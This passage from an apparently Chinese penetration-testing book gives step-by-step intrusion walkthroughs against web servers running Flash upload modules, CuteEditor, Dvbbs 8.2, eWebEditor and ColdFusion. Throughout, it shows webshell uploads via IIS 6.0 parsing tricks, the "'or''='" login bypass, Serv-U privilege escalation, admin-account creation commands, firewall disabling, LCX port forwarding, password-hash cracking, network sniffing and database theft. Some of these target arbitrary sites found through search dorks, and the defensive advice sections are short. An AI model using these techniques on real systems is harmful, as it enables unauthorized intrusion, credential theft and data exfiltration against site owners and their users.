4.3 利用Flash上传漏洞渗透某服务器
目前,网站系统主要有3种类型:第一种是直接采用专业的公司开发的CMS系统;第二种是下载某些公司开发的CMS系统,自己进行修改;第三种是独立开发的系统。对于Flash上传漏洞而言,在第一种中较为少见,在第二种和第三种中比较常见。Flash上传漏洞非常简单,就是上传Flash文件的代码未进行过滤,从而导致可以直接上传网页木马,获得WebShell权限。
4.3.1 利用弱口令进入系统
凭借经验,直接获取后台地址“http://www. * * * * * * * .com.cn/admin/login.asp”,如图4-22所示。在“用户名”文本框中输入“admin”,在“密码”文本框中输入“admin”,同时输入页面上显示的验证码,单击“进入”按钮进行登录测试,如图4-23所示,成功进入系统。
图4-22 获取后台登录地址
图4-23 成功进入后台管理界面
4.3.2 寻找可利用的漏洞
在综合管理模块中找到了Flash滚动展示系统。该系统主要用在首页滚动图片上,如图4-24所示,一共提供了5幅图片进行轮换,用户可以对每一幅图片进行管理,可以设置图片的链接地址、图片文件的具体位置及图片的简单描述。上传是测试的关键点,单击“上传”按钮,打开一个上传页面,如图4-25所示。
图4-24 找到上传漏洞利用页面
图4-25 获取文件上传页面
单击“浏览”按钮,在本地选择一个ASP的WebShell上传。如图4-26所示,系统未对上传的文件进行限制和过滤,WebShell直接上传成功。开始时笔者使用的是IE浏览器,后面使用Firefox浏览器以便获取WebShell的实际地址。
图4-26 上传WebShell成功
也可以通过查看页面源代码获取WebShell的实际地址,如“flash_images/2009102611432135 519.asp”。如图4-27所示,在网页源代码中包含了WebShell的实际地址和文件名。在某些情况下,如果不能获取WebShell的实际地址,则可以通过抓包获取。
图4-27 通过查看源代码获取WebShell地址
4.3.3 获取WebShell
在浏览器的地址栏中输入WebShell的地址“http://www.xxxxxxx.com.cn/flash_images/20091110 21591092019.asp”,输入密码,验证通过,成功获取该网站的WebShell,如图4-28所示。
图4-28 获取WebShell
4.3.4 服务器提权
通过WebShell对系统的硬盘和文件进行详细查看,如图4-29所示,系统使用了Serv-U,因此可以尝试通过Serv-U提升权限。以前常用ASP木马来提权,通过分析发现,该系统支持ASP.NET,因此可以尝试用ASP.NET木马来提权。如图4-30所示,单击“SUEXP”,使用默认的命令增加一个密码为“1”的管理员账户“1”。
图4-29 获取Serv-U的具体地址
图4-30 使用ASP.NET提权
4.3.5 获取管理员密码
使用账户“1”登录系统,通过IE直接下载SAMInside软件,获取系统的Hash值,通过破解系统账号获取了管理员的密码,如图4-31所示,再次换用管理员账户登录系统。使用管理员的密码登录系统是为了获取管理员的一些信息,通过这些信息,有可能对该网络进行渗透。
图4-31 使用管理员的密码登录系统
4.3.6 相邻服务器的渗透
在该服务器上安装Cain之后,进行Sniffer,如图4-32所示,可以嗅探到附近服务的POP3登录密码。如果时间允许,还可以嗅探其他类型的口令。
图4-32 获取同一网络的POP3登录密码
4.3.7 总结与思考
我们回过头来看看对系统的漏洞扫描。如图4-33所示,在该系统中扫描出2个注入漏洞,这是统计系统的。从渗透方法的角度看,使用的都是比较简单的方法。针对该系统,还有如下方法可以利用。
图4-33 漏洞扫描结果
• 目录扫描:通过扫描系统目录,可以发现该系统使用了文件编辑器。
• 对统计系统的注入:现在,越来越多的系统的主系统中并不存在什么漏洞,但是其插件和一些辅助系统中可能存在漏洞,如果这些插件和辅助系统和主系统使用了同一个数据库,在存在SQL注入漏洞的情况下,就可以顺利获取WebShell。
• 旁注:该服务器上存在多个网站,可以针对这些网站一一进行SQL注入测试。在实际测试中,能够发现存在多个漏洞,这些漏洞都可加以利用。
技巧与经验
渗透在于对细节的把握,通过一个小漏洞就可能渗透一个大型系统!
4.4 由CuteEditor漏洞利用到全面控制服务器
网络渗透测试就是利用所有的手段进行测试,发现和挖掘系统中存在的漏洞,然后撰写渗透测试报告,将其提供给客户;客户根据渗透人员提供的渗透测试报告,对系统中存在漏洞和问题的地方进行修复和修补。本次渗透测试是针对ASPX类型的网站系统的一个补充,下面是整个渗透过程和一些渗透思路。
4.4.1 漏洞扫描
01 扫描漏洞
打开JSky Web漏洞扫描器,新建一个扫描任务,输入要扫描的地址“http://www. * * * * * .com”,然后开始进行扫描。扫描结果如图4-34所示,没有发现任何高危漏洞。通过分析扫描结果,我们知道该网站是采用ASP.NET编写的,没有注入漏洞,存在“admin”和“upload”目录。难道该系统就没有可渗透之处?一般网站安全性非常高的可能性极低——只有绝对不安全的系统,没有绝对安全的系统。
图4-34 使用JSky扫描网站
02 测试网站目录访问
将地址“http://www.xxxxxxx.com/admin”复制到IE浏览器的地址栏中进行测试,看看能否实际访问该地址。如图4-35所示,可以打开页面,而且该地址为管理员后台地址。
图4-35 测试页面是否存在
说明
对存在的目录进行实际访问,主要是看系统是否存在一些报错等提示信息,然后可以对这些信息再次进行分析和利用,为渗透提供一些判断和支持。
03 使用社会工程学进行登录测试
在如图4-35所示页面的“用户名”文本框中输入“admin”,在“密码”文本框中输入一些常见的密码进行测试——三试两试就进入了系统,如图4-36所示,页面比较简洁。
图4-36 成功进入后台
说明
本次渗透的成功来自成功进入后台。实际上,如果不是通过社会工程学猜测到密码,拿到该服务器的权限还是比较困难的。所以,在实际渗透测试的过程中,对各种想法和思路都可以进行测试,只要能够进入系统,能够获取一定的权限的方法,都是好方法。
4.4.2 寻找突破点
整个系统一共有6个模块,对各个功能模块进行查看,发现很多模块的功能都是相同的。如图4-37所示,均是简单的数据添加、删除和修改。
图4-37 浏览其他功能模块
01 修改管理员密码
在本网站系统中,没有用户管理模块,仅有一个修改管理员密码的功能,如图4-38所示。该密码非常简单,因此,出于对安全性的考虑,可以直接将其修改为一个复杂的密码,然后将该密码告知管理员。进行渗透测试时,如果正向行不通,可以采用一些迂回战术,从侧面进行,如采用旁注等间接的方法。
图4-38 修改管理员密码
02 获取该网站所在服务的所有其他域名
在IE浏览器的地址栏中输入“http://www.ip866.com/reverse.aspx?domain=www.rain* *.com”,打开“反查域名”页面,单击“点这里反查全部相关域名”选项,如图4-39所示,在该服务器中一共有9个域名。
图4-39 查询域名绑定情况
4.4.3 扫描相邻网站漏洞
任选服务器中的一个域名,在JSky中进行扫描,如图4-40所示,出现了8个SQL注入点——对于渗透测试人员来说,没有什么是比发现有漏洞更为高兴的事情了。
图4-40 获取SQL注入点
4.4.4 SQL注入手工测试
在扫描结果的SQL注入点列表中选择一个地址,在浏览器中打开,并手工加入一些测试SQL注入点的代码,结果出现如图4-41和图4-42所示的防注入提示和记录信息。
图4-41 系统使用了Flashack防注入系统
图4-42 防注入记录系统
4.4.5 获取数据库类型
继续测试,将ID值换成一个“数字+字母”类型的值,结果出现数据库出错提示。如图4-43所示,数据库类型是SQL Server,由此可以判断该服务器的操作系统也是Windows的,极有可能是Windows 2003。
图4-43 通过出错信息获取网站数据的类型
说明
现在很多防注入系统都对and、exe等关键字进行了过滤,但对传入值的范围并没有进行严格的限制,因此,可以通过变换值出错获取一些信息。
4.4.6 使用Pangolin进行SQL注入测试
在JSky的扫描窗口选中存在SQL注入点的地址,然后进行渗透测试。如图4-44所示,先对SQL注入点进行检测,然后获取数据库等信息。在本次检测中,很明显,由于有SQL防注入系统的存在,所以无法猜出任何有用的信息。
图4-44 使用Pangolin进行SQL注入测试
看来旁注等方法均不可行,无法进一步获取权限,只能通过前面获取的权限想办法了。
4.4.7 通过CuteEditor上传获得突破
由于IIS 6.0中存在一个文件解析路径漏洞,当文件夹名类似“xxx.asp”时(即文件夹名看起来像一个ASP文件的文件名),此文件夹下文本类型的文件都可以在IIS中被当做ASP程序执行。这样,攻击者就可上传扩展名为jpg或gif的看起来像是图片文件的木马文件,通过访问这个文件即可运行木马。
通过分析和观察,发现本网站系统采用的是CuteEditor编辑器。该编辑器本身的安全性尚可,分为管理员、user和guest 3种权限,其配置文件位于“CuteEditor\Configuration\Security”目录下。通过分析Admin.config文件,其涉及安全的核心代码如下。
<configuration>
<security name="RestrictUploadedImageDimension">false</security>
<security name="OverWriteExistingUploadedFile">false</security>
<security name="AutoResizeUploadedImages">true</security>
<security name="MaxImageWidth">1024</security>
<security name="MaxImageHeight">768</security>
<security name="MaxImageSize">1000</security>
<security name="MaxMediaSize">100</security>
<security name="MaxFlashSize">100</security>
<security name="MaxDocumentSize">10000</security>
<security name="MaxTemplateSize">1000</security>
<security name="ImageGalleryPath">~/uploads</security>
<security name="MediaGalleryPath">~/uploads</security>
<security name="FlashGalleryPath">~/uploads</security>
<security name="TemplateGalleryPath">~/templates</security>
<security name="FilesGalleryPath">~/uploads</security>
<security name="MaxImageFolderSize">102400</security>
<security name="MaxMediaFolderSize">102400</security>
<security name="MaxFlashFolderSize">102400</security>
<security name="MaxDocumentFolderSize">102400</security>
<security name="MaxTemplateFolderSize">102400</security>
<security name="ThumbnailWidth">80</security>
<security name="ThumbnailHeight">80</security>
<security name="ThumbnailColumns">5</security>
<security name="ThumbnailRows">3</security>
<security name="AllowUpload">true</security>
<security name="AllowModify">true</security>
<security name="AllowRename">true</security>
<security name="AllowDelete">true</security>
<security name="AllowCopy">true</security>
<security name="AllowMove">true</security>
<security name="AllowCreateFolder">true</security>
<security name="AllowDeleteFolder">true</security>
</configuration>
从上面的代码中可以看出,如果用户具有管理员权限,就可以建立目录,也就是说,在某种情况下,完全可以利用IIS文件目录解析漏洞获得WebShell。
01 打开媒体上传窗口
直接在使用该编辑器的网页中单击用于插入媒体的按钮,打开如图4-45所示的“Insert Media”对话框。
图4-45 打开“Insert Media”对话框
02 新建simeon.asp文件夹
在“Insert Media”对话框中可以发现一个用于新建文件夹的图标,如果该图标是灰色的,那我们就无能为力了。如图4-46所示,新建一个名为“simeon.asp”的文件夹,文件夹创建成功后如图4-47所示。
图4-46 新建simeon.asp文件夹
图4-47 成功创建simeon.asp文件夹
03 上传测试和木马文件
单击“simeon.asp”文件夹图标,进入该文件夹,然后上传一个HTML文件。如图4-48所示,依次上传了包含ASP.NET的一句话木马和ASP的一句话木马,当然也上传了一些ASP大马。
图4-48 上传测试和木马文件
注意
(1)在CuteEditor中,ImageFilters负责对图片进行过滤,仅允许上传JPG、JPEG、GIF和PNG文件,在admin.config中进行配置。
(2)在CuteEditor中,MediaFilters负责对媒体进行过滤,仅允许使用AVI、MPG、MPEG和MP3 4种媒体文件,也是在admin.config中进行配置。
(3)在CuteEditor中,DocumentFilters负责对所有的文件类型进行过滤。
04 连接测试ASP.NET的一句话木马
在本地打开ASP.NET一句话木马客户端,输入连接地址和密码,出现如图4-49所示的错误。
图4-49 ASP.NET一句话木马运行出错
05 使用ASP一句话木马
上传一个包含一句话木马的Flash文件,如图4-50所示,进行连接测试,最终成功连接。在后面的测试中,笔者还发现其执行效果不太好,这可能是IIS 6.0对以ASP文件命名的文件夹解析半对半错导致的。
图4-50 成功得到一个一句话WebShell
4.4.8 提升权限
下面介绍提升权限的过程。
01 查看网站文件路径
在Function中选择“File List”模块,然后分别查看C、D、E盘,如图4-51所示,发现网站目录就在E盘下。
图4-51 获取网站根目录路径
02 复制文件
在一句话ASP中,通过测试发现可以复制文件。将上传到“simeon.asp”文件夹中的大马复制到网站根目录下,如图4-52所示,复制成功,这也是能够成功渗透服务器的关键。一句话木马执行命令时不是那么完美,操作起来不太方便,因此要尽可能按照由小(马)到大(马)的顺序执行。
图4-52 将大马复制到正常网站目录下
03 运行大马
直接输入大马的地址,然后输入管理密码,成功进入,如图4-53所示。至此,就可以使用大马进行信息分析等工作了。
图4-53 执行免杀大马
04 使用Serv-U提升权限
通过该WebShell对服务器进行挖掘,发现服务器上安装了Serv-U,路径是在D盘的程序目录下。直接单击WebShell左边菜单中的“Serv-U提权”选项,在如图4-54所示的窗口中单击“提交”按钮,默认直接添加一个用户名为“user13$”、密码为“pass13”的具有管理员权限的账户。添加成功后,将显示如下提示信息。
图4-54 将管理员账号添加到系统中
cmd /c net user user13$ ***** /add & net localgroup administrators user13$ /add
05 查看提权情况
上传一个WebAdmin 2.x的ASPX的WebShell,在“Command”文本框中输入“net localgroup administrators”,单击“Run”按钮,查看系统管理员组的用户情况,如图4-55所示,已经成功添加用户。
图4-55 成功添加用户到管理员组
06 成功进入远程桌面
通过WebShell找到对方服务器开放3389的修改后端口8080,在本地打开远程终端连接器,输入“www.xxxx.com:8080”进行连接,如图4-56所示,成功进入对方桌面。接下来,就可以对网站和服务器存在的安全问题进行整理,最后形成一个完成的渗透测试报告了。
图4-56 成功进入远程桌面
4.4.9 安全建议和总结
基于本次渗透测试的安全建议和总结如下。
1.安全建议
针对本次渗透测试中发现的安全问题,提出如下安全建议。
• 及时修补系统中的安全漏洞,尤其是IIS 6.0的目录解析漏洞,对微软公布的一些高危漏洞还是应该及时更新,从而降低安全风险。
• 对于那些允许注册账号的网站来说,在编写网站程序的时候,为了管理方便,程序员通常会以注册的用户名为名称建立一个文件夹,用以保存该用户的数据,如图片、文字等。入侵者就是利用这一特点,在网站注册一个以“.”或者“.cer”等后缀作为用户名的账号,然后通过把含有木马的ASP文件的“.asp”后缀改成“.jpg”等方法,把文件上传到服务器,由于IIS 6.0存在漏洞,所以JPG文件可以通过IIS 6.0运行,木马也随着运行,达到了攻击网站的目的。这种情况下,可以由程序员对注册用户名称进行限制,排除带有“*.asp”、“*.asa”等字符为名的注册名,加强网站自身的安全和防范措施。另外,要阻止用户对文件夹进行重命名操作。
• 细化服务器文件目录权限,杜绝权限漏洞。可以通过修改服务器的配置实现对这个漏洞的预防。如何对服务器进行配置呢?很多网站都允许用户上传一定数量的图片、Flash等,很多时候,网站开发人员为了日后管理方便,会将用户上传的文件统一放到一个指定的文件夹中,网站管理员只要将该文件夹的执行权限设置成“无”,就可以在一定程度上对漏洞进行预防。
• 对CuteEditor上传组件,可以在安全配置文件中取消有关文件夹新建的权限。
• 网站的管理员密码的安全性不能太低,如果通过一些简单的猜测就能破解,那么即使程序本身和网站系统没有漏洞,也会导致整个系统的崩溃。任何信息的泄露对入侵者来说都会增加入侵成功的概率。
2.安全总结
通过本次安全渗透,我们掌握了利用CuteEditor渗透系统的思路,以及如何在系统中对IIS 6.0目录解析漏洞进行防范。在整个渗透过程中使用了多种方法,在一种方法行不通的情况下,换一种思路或许会达到意想不到的效果。
4.5 Dvbbs 8.2插件上传漏洞的利用
笔者在整理Dvbbs历来的漏洞及利用方法时,发现有人在网上贴出了Dvbbs 8.2插件上传漏洞的利用方法,但讲得不是很明白。Dvbbs(动感论坛)的新版本已经在安全性方面有了很大的提高,即使入侵者拿到了管理员权限,也无法上传Shell。
新版本的Dvbbs通过取消数据库备份功能来换取新系统的安全,对数据上传过滤得特别严格,Dvbbs 8.2及之后的版本尤甚,且目前没有特别好的攻击方法。曾有人提出一种方法:直接上传PHP文件或者其他服务器支持的文件。这个也是一种思路,不过很多时候,单独的服务器不会支持这么多文件类型。Dvbbs禁用了ASP和ASP.NET文件的上传,但尚不清楚是否支持加密后文件的上传。
4.5.1 Dvbbs 8.2插件上传漏洞利用研究
本节我们研究一下Dvbbs 8.2插件上传漏洞的利用方法。
01 使用Google搜索
使用Google搜索Dvbbs的版本信息“Powered By Dvbbs Version 8.2.0”,以获取使用Dvbbs 8.2的论坛。如图4-57所示,结果很壮观——有几十万条搜索记录。
图4-57 搜索使用Dvbbs 8.2的论坛
02 注册用户
随机选取一个论坛,打开论坛后直奔注册页面,如图4-58所示,按照要求进行注册。
图4-58 注册用户
03 修改样式
使用注册的用户成功登录论坛后,单击论坛工具栏上的“我的主页”选项,进入个人主页配置页面,然后单击“个人空间管理”标签,在基本设置中给现有的“空间标题”和“简介说明”随便起一个名字,如图4-59所示,然后单击“保存设置”按钮。单击“自定义风格”按钮,在“样式风格CSS修改”文本框中输入任意字符,如图4-60所示,然后单击“保存设置”按钮完成修改。
图4-59 修改基本设置
图4-60 修改样式风格CSS
注意
(1)有些论坛需要用户自己激活个人主页,在激活前单击“自定义”按钮后保存,即可开通个人主页。
(2)有些论坛未使用“我的主页”这个模块,因此攻击者无法利用此漏洞。
(3)如果自定义风格操作保存成功,页面的样式会有变化,但这不会影响后续的渗透。
04 无上传界面的处理
在“个人空间管理”页面单击“自定义风格”按钮,然后单击“文件管理”按钮,会弹出一个风格模板的文件管理窗口,如图4-61所示。在本次渗透中,虽然出现了文件管理页面,但未出现上传界面,说明管理员或者前期渗透人员删除了上传模块,这时,攻击者只能重新选择一个目标进行渗透。
图4-61 无上传界面
说明
在实际渗透测试过程,还会出现访问文件管理模块时无权限的情况,这是因为有人做了限制,去掉或者限制文件上传的权限。遇到这种情况,攻击者也只能放弃(如果攻击者拥有管理员权限则另当别论)。
05 成功上传文件
找到一个可以成功测试的论坛,如图4-62所示,选择一个一句话木马文件,将其命名为“1.asp; 1.jpg”,然后直接上传即可。上传成功后,页面会自动刷新。如果系统没有安装杀毒软件或者采取其他防范措施,一般都会出现刚才上传的一句话木马,且图片将无法显示。
图4-62 成功上传一句话木马
4.5.2 获取WebShell
01 使用一句话客户端进行连接
使用lake2EvalClient进行连接,在“The URL”文本框中输入图片的地址,在“Password”文本框中输入一句话木马的连接密码,在本例中是“cmd”,然后在“Function”(功能)下拉列表中选择一个模块,如图4-63所示,单击“Send”按钮,即可查看具体执行效果。如图4-64所示为磁盘使用情况。
图4-63 设置一句话木马客户端
图4-64 磁盘使用情况
02 获取网站的物理路径
在功能模块中选择“Server Variable”选项,获取服务器和用户的一些基本信息,如图4-65所示,一句话木马的路径为“F:\www\hatsg.com\bbs\skins\myspace\userskins\skin_14\”。
图4-65 获取网站路径
通过上传功能将一个大马上传到服务器,输入密码后如图4-66所示。
图4-66 上传大马
03 提权失败
使用Serv-U和FTP提权均告失败。对服务器端口进行扫描,发现服务器关闭了21和43958端口,如图4-67所示。
图4-67 端口开放情况
04 查找并下载数据库
在站点根目录中查找数据库配置文件,如图4-68所示。本例中数据库连接文件为conn.asp,直接打开并获取数据库的相对路径“\database\unfgsa#szht.mdb”。由于在该数据库名称中使用了“#”,因此,使用浏览器下载的文件仅为1kb,也就是说,下载失败了。对于这类文件,有如下两个办法进行下载。
图4-68 查看数据库连接文件
• 直接使用Shell中的复制功能,将文件重新命名为可以下载的文件。
• 使用“%23”代替“#”进行下载。如图4-69所示,更换后可以将数据库文件下载到本地。
图4-69 下载数据库
4.5.3 Dvbbs 8.2渗透思路与防范措施
根据本例可以得到Dvbbs 8.2的渗透思路与防范措施。
1.渗透思路
• 下载Dvbbs 8.2的Database和Boke的默认地址分别为data/Dvbbs8.mdb和boke/data/Dvboke.mdb,下载后可以通过查询破解16位的MD5密码进入后台。
• 在IIS图片的上传漏洞利用方面,本例中的插件上传漏洞本质上属于IIS文件解析漏洞。
• 修改上传类型,使其支持服务器平台的脚本并上传。如果平台支持PHP、ASP.NET、JSP,就可以上传支持平台的木马并获取WebShell。
2.防范措施
• Dvbbs安装完毕,一定要修改默认的数据库名称,并删除无用的TXT文件,以及“Powered By Dvbbs 8.2”这个标识。
• 将后台密码的强度设置得高一些,及时下载数据库。如果攻击者没有破解密码,也是无能为力的。
• 谨慎使用插件和功能强大的模块,使用时尽量使权限最小。
• 取消上传图片的目录的脚本执行权限,或者暂时禁用将文件上传模块。
• 规范上传脚本的代码,校验上传的图片和文件中的代码段,或者关闭论坛后台上传功能。
4.6 利用cfm上传漏洞渗透某服务器
研究发现,cfm可以通过一些漏洞扫描工具进行检测,如JSky、啊D注入工具。
4.6.1 获取后台权限
01 手工查找和自动扫描漏洞
在漏洞寻找上,每个人都有自己的习惯和经验,有的人喜欢纯手工进行,有的人喜欢使用工具扫描,有的人喜欢将两者结合,但所有的目的只有一个,那就是找到漏洞。如图4-70所示,通过JSky对该网站进行扫描,获取一个SQL注入漏洞。
图4-70 获取SQL注入漏洞
02 获取管理员用户名称和密码
虽然获取的SQL注入漏洞无法利用Pangolin进行渗透测试,但可以使用“啊D注入工具”对该注入点进行猜测。如图4-71所示,数据库为“****_nqcontent”,用户名为“nqcontent”,数据库权限为“db_owner”,根据SQL注入的一般步骤顺利获取了管理员的用户名和密码。
图4-71 获取管理员用户名和密码
03 进入后台
使用获取的用户名和密码成功登录系统,如图4-72所示,通过查看后台的各个功能模块,发现“Asset Management”中有上传模块(Upload)。
图4-72 获取上传模块
4.6.2 服务器提权
01 获取WebShell
通过测试,该上传模块允许上传cfm及图片文件。上传一个cfm命令执行WebShell,如图4-73所示,上传后可以成功运行,权限较高时可以执行命令。
图4-73 获取WebShell
02 关闭防火墙
通过执行“ipconfig/all”命令获取该网络的配置情况。该服务器在DMZ区域对外仅开放80端口,尽管开放了3389端口,但外部无法访问。
执行“lcx-slave 202.102.***.*** 443 192.168.50.180 3389”命令后,在本地不能进入服务器,通过查看发现,服务器启用了Windows自带的防火墙,对此可以通过停用防火墙(“net stop Sharedaccess”命令)或者添加允许端口绕过,如图4-74所示。
图4-74 关闭防火墙
03 成功登录3389端口
在本地执行“lcx-listen 3389 2008”命令,将3389端口重定向到本地的2008端口,运行MSTSC后使用127.0.0.1:2008进行连接,输入添加的管理员用户名和密码,成功进入系统,如图4-75所示。
图4-75 成功进入服务器
4.6.3 内网渗透
01 收集服务器信息
通过查看服务器发现,该服务器支持PHP。通过cfm后门上传一个PHP的WebShell,如图4-76所示,获取了该服务器的配置参数信息。通过WebShell获取WordPress的数据库配置信息,再通过WebShell将WordPress的管理员数据库导出到本地,如图4-77所示。
图4-76 获取PHP参数配置信息
图4-77 导出MySQL数据库
02 渗透邮件服务器
通过3389端口登录Web服务器后,下载SAMInside,很快就获取了系统用户的密码,通过破解可以成功获取原系统用户的密码。
经过分析发现,在该网络中还存在一台服务器,该服务器是邮件服务器,两台服务器均运行在虚拟机上。使用管理员的默认密码成功进入另一台服务器,通过工具直接开启MAIL服务器的3389端口,如图4-78所示,顺利进入该MAIL服务器。
图4-78 渗透MAIL服务器
4.6.4 小结
通过本次渗透,我们可以获取一些宝贵的经验。
• 很多服务器都部署在虚拟机上,攻击者成功渗透的也仅仅是虚拟机,虚拟机上的业务系统遭受破坏后可以快速恢复。由于硬件的支持,同一个硬件服务器可能部署了多个虚拟应用服务器。
• 针对cfm的渗透完全可以先使用JSky进行扫描,找到漏洞后再通过“啊D注入工具”猜测数据。cfm平台的渗透还可以手工判断和猜测。
• cfm平台上传cfm的WebShell后,其分配的权限很高,可以快速提权。
• 在具有一定权限的情况下,可以使用命令“net stop sharedaccess”停用Windows自带的防火墙,进而通过LCX转发端口登录被渗透的内网服务器。
4.7 eWebEditor编辑器漏洞攻击案例
通过本案例可以学到以下内容。
• 了解eWebEditor漏洞
• 利用eWebEditor上传WebShell并实施控制
eWebEditor是一款著名的Web编辑器,由于功能强大,因此,很多网站都使用它作为编辑器。eWebEditor安全风险最高的部分就是使用默认的eWebEditor编辑器进行配置,默认情况下,其数据库可以通过浏览器下载,一旦破解其eWebEditor后台管理账号和密码,则可以通过修改其样式管理达到上传ASP网页木马的目的,所以配置不当极有可能导致整个网站处于危险状态,在一定条件下攻击者还有可能完全控制提供该Web服务的服务器。本节通过发现某公司的网站使用eWebEditor编辑器,通过下载数据库、破解密码、修改后台样式管理等方法成功上传WebShell。
4.7.1 eWebEditor编辑器漏洞发现和利用
01 发现站点使用eWebEditor编辑器
在浏览网页时,通过查看网页图片的属性,发现该图片地址中包含“eWebEditor”字样,如图4-79所示,因此怀疑该网站使用了eWebEditor编辑器。
图4-79 通过路径发现eWebEditor编辑器
技巧
在访问一些非自动生成HTML网页文件的网站时,查看图片的地址或者直接打开网页中的图片,如果发现其路径或者地址中存在“eWebEditor”字样,就可以推断该网站系统极有可能使用了eWebEditor编辑器。
02 下载eWebEditor的默认数据库文件
直接在浏览器地址栏中输入eWebEditor默认数据库文件的地址,将数据库下载到本地。
03 打开数据库并进行管理员密码破解
将管理员的密码值直接复制到MD5在线破解网站,破解该MD5值。
04 进入样式管理
输入用户名和密码,进入eWebEditor的后台管理界面,在其中选择“样式管理”选项,进入样式管理模块,如图4-80所示。
图4-80 进入样式管理模块
注意
在样式管理模块中,有多个与样式管理类似的界面,要找到有“提交”和“重填”按钮的管理界面,否则更改媒体类型后会发现无法对新设置进行更新。
05 修改上传文件的类型
在“允许上传文件类型及文件大小设置”设置区修改“其他类型”文本框中的内容,在原有内容的末尾添加“|asp”,单击“提交”按钮,使修改生效,如图4-81所示。
图4-81 修改上传文件的类型
4.7.2 获取WebShell权限
01 上传网页木马文件
回到产品后台管理界面,在“产品添加”文本框中输入一条记录,其中图片文件为ASP文件,该ASP文件即为网页木马文件,在其他需要输入值的地方随便填写,单击“确定”按钮完成文件的上传,如图4-82所示。
图4-82 上传木马文件
产品添加成功后,系统会自动指向产品后台管理界面。在“产品管理”界面可以看到已经上传的ASP文件,如图4-83所示。
图4-83 成功上传的网页木马文件
02 实施控制
访问已经上传的ASP文件的地址,输入用户名和密码后可以进入WebShell管理中心,如图4-84所示,可以查看文件夹及文件,对文件进行编辑、删除等操作。
图4-84 进入WebShell管理中心
03 上传其他文件
由于第一个WebShell的功能较为简单,因此重新上传一个复杂一些且进行了免杀处理的ASP网页木马文件。上传成功后,直接访问该WebShell的地址,如图4-85所示,该网页木马功能强大,可以进行批量挂马等操作。
图4-85 上传其他文件
4.7.3 获取信息和进一步控制
通过WebShell进一步收集提供该Web服务的服务器的各种信息,尝试进行进一步控制,获取系统的完全控制权。由于该网站所在的Web服务器由商业ISP提供商提供,其安全比较高,所以无法通过直接手段进行渗透。因此,利用eWebEditor进行漏洞攻击的过程到此结束。
4.7.4 小结
虽然利用eWebEditor编辑器漏洞进行攻击,可以成功上传WebShell并进行批量挂马等操作,但如果该服务器的安全权限设置比较合理,受影响的仅为使用eWebEditor的网站。要想成功控制提供Web服务的服务器,还需要配合其他一些工具和手段来提升权限。
4.8 绕过后台密码渗透某服务器
前面介绍了很多上传和编辑器的利用方法,本节将介绍一种直接绕过验证进入后台,通过寻找上传地址并从代码等位置寻找提权的方法,直接获得服务器权限。
4.8.1 获取后台管理员权限
01 寻找并绕过后台登录验证
可以通过一些SQL注入工具获取后台管理员权限,也可以手工尝试访问后台地址进行登录。本例相对简单,后台就是http://www.somesite.com/admin。在浏览器中打开后台登录页面,如图4-86所示,在“username”文本框中输入“'or''='”,在“Password”文本框中输入任意内容,单击“Login”按钮登录系统。
图4-86 寻找并绕过后台登录验证
技巧
(1)进入后台的常用方法是通过SQL注入点猜测管理员表,获取管理员的用户名和密码,从而进入系统。
(2)可以通过测试一些常用的后台验证登录绕过代码,以突破后台验证,从而直接进入后台。该方法对国外网站的使用效果较好。
(3)还有一种方法是暴力猜解,即通过设置用户名和密码实施暴力破解。该方法要求准确知道管理员用户名,然后通过解到信息生成社工字典进行破解,其效果更好。
02 成功进入后台
一般来说,如果用户名和密码输入不正确,肯定无法进入后台。但是在程序验证不严格的情况下,尤其是未对输入的数据进行安全验证、未过滤单引号的情况下,可以通过SQL语句绕过,如图4-87所示,显示用户“'or ''='”成功登录。
图4-87 成功登录后台
4.8.2 获取WebShell
01 寻找上传地址
对于网站后台来说,一般都会提供文件上传功能,通过查看各个功能模块获取上传模块或者页面。如图4-88所示,找到一个上传数据的功能模块,单击“浏览”按钮,直接上传WebShell进行测试,测试结果表明后台对文件后缀进行了限制。由于该站点所在的是IIS服务器,因此可以利用IIS解析文件名称漏洞上传文件。上传一个1.asp;1.jpg文件,该文件为一句话后门。无论文件后缀是什么,IIS都会执行这个文件。
图4-88 获取后台上传地址
技巧
(1)如果网站脚本采用的是ASP、ASP.NET,那么服务器通常是IIS服务器。
(2)如果网站采用的是PHP等脚本,则可以将正常访问页面的名称进行大小写变换。例如,首页一般都是index.php,如果InDex.Php能正常访问,说明是Windows服务器,否则为Linux类服务器(Linux服务器对文件名称大小写敏感)。
(3)通过扫描服务器指纹识别。
(4)通过执行命令“telnet somesite.com 80”返回的结果判断。
02 使用一句话后门客户端进行连接
图片上传成功后,使用一句话后门客户端进行连接。如图4-89 所示,成功连接一句话木马服务端。
图4-89 使用一句话后门客户端进行连接
03 获取服务器的基本信息
通过一句话木马的各个功能模块获取服务器的基本信息。如图4-90所示,获取服务器的真实路径、IP地址等信息,这些信息在上传大的WebShell时特别有用。
图4-90 获取服务器的相关情况
04 上传大的WebShell
一句话木马虽然也比较好用,但功能有所限制,因此在获得服务器基本信息的情况下,可以考虑上传功能更强大的WebShell到服务器。可以尝试上传JSP、PHP、ASP.NET、PL等木马,测试服务器是否支持这些脚本。如果支持JSP脚本,则可以直接进行提权(JSP默认是system权限)。如图4-91所示,上传的ASP木马能够正常运行。
图4-91 获取WebShell
4.8.3 服务器提权
通过获取的WebShell查看当前站点的代码,查看数据库文件以获取数据库用户的权限。在本例中,数据库使用的是sa权限,因此可以直接通过WebShell数据库连接提取。该过程相对简单,在此就不赘述了。提权成功后,直接进入服务器,如图4-92所示。
图4-92 服务器提权
4.8.4 备份数据库和代码
可以通过IIS管理器寻找站点的真实路径。如图4-93所示,查看各个站点的属性,将其代码全部打包,然后将该服务器中的所有数据库进行备份,下载到本地,供学习和研究用。
图4-93 查看IIS设置并备份数据库和代码
4.8.5 小结
文件上传是获取WebShell的一个最经典的方法,不同的系统需要进行不同的测试。能否成功渗透系统,除了掌握必要的技术点以外,更多的是经验的积累,以及不放过任何一种测试方法的耐心。在本例中体现了3个技术,总结如下。
• 密码验证绕过技术:密码验证绕过不仅限于本节提到的“'or''='”,还有很多脚本,在不同的场景下要使用不同的方法。
• 寻找上传地址:借助IIS文件名称解析漏洞上传一句话木马。
• 寻找网站代码中的数据库连接代码:获取数据库连接用户名和密码,通过连接数据库提权。
4.9 绕过密码获取某站点WebShell
如果想在一个站点检测某工具的使用效果,常用的方法是通过WebCruiserEnt扫描注入点后,找到注入点后,通过Havij和WebCruiserEnt等工具进行SQL注入点探测,无奈速度实在太慢,因此不得不想其他方法。对于国外站点,通过密码绕过验证的成功率比较高,下面是具体的渗透过程。
4.9.1 漏洞扫描及利用
01 获取SQL注入点
